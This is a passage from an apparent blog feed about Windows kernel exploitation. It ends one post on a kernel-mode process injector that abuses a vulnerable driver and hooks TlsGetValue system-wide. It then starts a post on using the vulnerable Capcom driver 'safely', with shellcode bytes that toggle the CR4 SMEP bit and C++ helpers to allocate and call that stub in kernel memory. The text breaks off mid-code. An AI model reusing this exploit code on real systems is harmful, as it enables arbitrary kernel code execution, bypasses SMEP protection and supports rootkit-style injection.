&lt;li&gt;Map physical memory to user-mode&lt;/li&gt;
&lt;li&gt;Search for certain offsets (UniqueProcessId, DirectoryTableBase, ActiveProcessLinks)&lt;/li&gt;
&lt;li&gt;Save current EProcess and CR3 values for user-mode use&lt;/li&gt;
&lt;li&gt;Allocate enough kernel pool memory for our injector stub and image&lt;/li&gt;
&lt;li&gt;Unload vulnerable driver&lt;/li&gt;
&lt;li&gt;Map our image to the kernel memory (Fix .relocs and create a stub that gets the imports for us as I cannot bother reading EProcess-&amp;gt;Peb)&lt;/li&gt;
&lt;li&gt;Wait for target process&lt;/li&gt;
&lt;li&gt;Expose the kernel page to target process&lt;/li&gt;
&lt;li&gt;Hook TlsGetValue system-wide and make it check for pid before jumping to our stub at kernel memory&lt;/li&gt;
&lt;li&gt;Wait for Stub-&amp;gt;SpinningThreadCount to be non zero&lt;/li&gt;
&lt;li&gt;Unhook TlsGetValue, set Stub-&amp;gt;Free = TRUE&lt;/li&gt;
&lt;li&gt;Profit.&lt;/li&gt;
&lt;/ol&gt;
&lt;figure&gt;
&lt;img src="images/0.webp" alt="Almost magic!"&gt;
&lt;figcaption&gt;Almost magic!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Source code: &lt;a href="https://github.com/can1357/ThePerfectInjector"&gt;https://github.com/can1357/ThePerfectInjector&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Forgive me for the hasty image mapping implementation, and the debug code left if there is any. This is meant to be a PoC rather than a ready to go pasta.&lt;/p&gt;</description></item><item><title>Escaping SMEP Hell: Exploiting Capcom Driver In a Safe Manner</title><link>https://blog.can.ac/2018/04/28/escape-smep-exploiting-capcom-safely/</link><pubDate>Sat, 28 Apr 2018 00:00:00 +0000</pubDate><guid>https://blog.can.ac/2018/04/28/escape-smep-exploiting-capcom-safely/</guid><description>&lt;p&gt;Trapped in a SMEP disabled payload not being able to do anything reliably? You have come to the right place.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve seen so many people using Capcom driver in an unsafe manner that I wanted to make this post, simply explaining why some practices are incredibly unsafe and how we can fix this. When these problems are pointed out, the reply most of the times is &amp;ldquo;works on my machine /shrug&amp;rdquo; but when you are not the only user you are setting yourself up for failure (speaking from personal experience). It is true that Capcom driver is inherently unsafe, however with certain changes we can make it much more reliable.&lt;/p&gt;
&lt;p&gt;There are two ways I&amp;rsquo;ve seen Capcom driver being used: 1) Stay _disable()&amp;rsquo;d and pray the NT routines with IRQL requirements somehow work. 2) Call _enable() and pray no context switch happens / patchguard doesn&amp;rsquo;t get angry.&lt;/p&gt;
&lt;p&gt;The problem with enabling interrupts is that during execution a context switch might happen, resetting CR4 value, enabling SMEP again. This means when we return to our code in user-mode we are going to bug-check. But we still need interrupts to be enabled to call certain functions in kernel so we don&amp;rsquo;t have a choice&amp;hellip; or do we?&lt;/p&gt;
&lt;p&gt;Yes we do, we can rely on a small trick, a property of ExAllocatePoolWithTag to be specific.&lt;/p&gt;
&lt;p&gt;When we make a small allocation (smaller than 0xFE0 bytes) in a non-special pool, ExAllocatePoolWithTag will only actually allocate new pages for our pool if it cannot find a block for our size and it cannot split any large blocks to complete our allocation &amp;ndash; which never happens &amp;ndash; and luckily for us, this process does not require interrupts to be enabled.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="kr"&gt;__stdcall&lt;/span&gt; &lt;span class="nf"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;POOL_TYPE&lt;/span&gt; &lt;span class="n"&gt;PoolType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SIZE_T&lt;/span&gt; &lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ULONG&lt;/span&gt; &lt;span class="n"&gt;Tag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;MmSpecialPoolTag&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;ExpUseSpecialPool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;LABEL_10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;NumberOfBytes_&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mh"&gt;0xFE0&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PVOID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;ExpAllocateBigPool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;i64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NumberOfBytes_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;goto&lt;/span&gt; &lt;span class="n"&gt;LABEL_260&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Proceeds to allocate a small pool ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We are going to allocate a stub in kernel memory that executes these calls for us.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x0F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0xE0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// mov rax,cr4 ; -
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x0F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0xBA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0xE8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// bts rax,0x14 ; | will be nop&amp;#39;d if no SMEP support
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x0F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0xE0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// mov cr4,rax ; -
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xFB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// sti
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x8D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x05&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x07&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// lea rax,[rip+0x7] ; continue
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x8F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// pop QWORD PTR [rax+0x12] ; ret_store
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// push rax
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x60&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x1A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// jmp QWORD PTR [rax+0x1a] ; call_store
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xFA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// cli
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x0F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0xE1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// mov rcx,cr4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x0F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0xBA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0xF1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// btr rcx,0x14
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x0F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0xE1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// mov cr4,rcx
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// jmp QWORD PTR [rip+0x0] ; ret_store
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// ret_store: dq 0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// call_store: dq 0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This small stub enables SMEP and interrupts, saves return pointer to the allocated space, replaces it to point to our epilogue (which disables interrupts &amp;amp; SMEP, and returns to saved pointer) and jumps to the procedure.&lt;/p&gt;
&lt;p&gt;We are going to initialize and call it like below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;NON_PAGED_CODE&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;Khk_AllocatePassiveStub&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="n"&gt;Out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;Khk_ExAllocatePool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;0ull&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Kh_PassiveCallStubData&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Np_memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Kh_PassiveCallStubData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Kh_PassiveCallStubData&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Khk_PassiveCallStub&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;fnPassiveCall&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;template&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="n"&gt;Params&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;NON_PAGED_CODE&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;Khk_CallPassive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="n"&gt;Ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Params&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PVOID&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PUCHAR&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;Khk_PassiveCallStub&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;Kh_PassiveCallStubCallStoreOffset&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Ptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Khk_PassiveCallStub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;forward&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Params&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;Khu_Init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CapcomContext&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;CpCtx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;KernelContext&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;KrCtx&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;CpuInfo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;__cpuid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CpuInfo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;
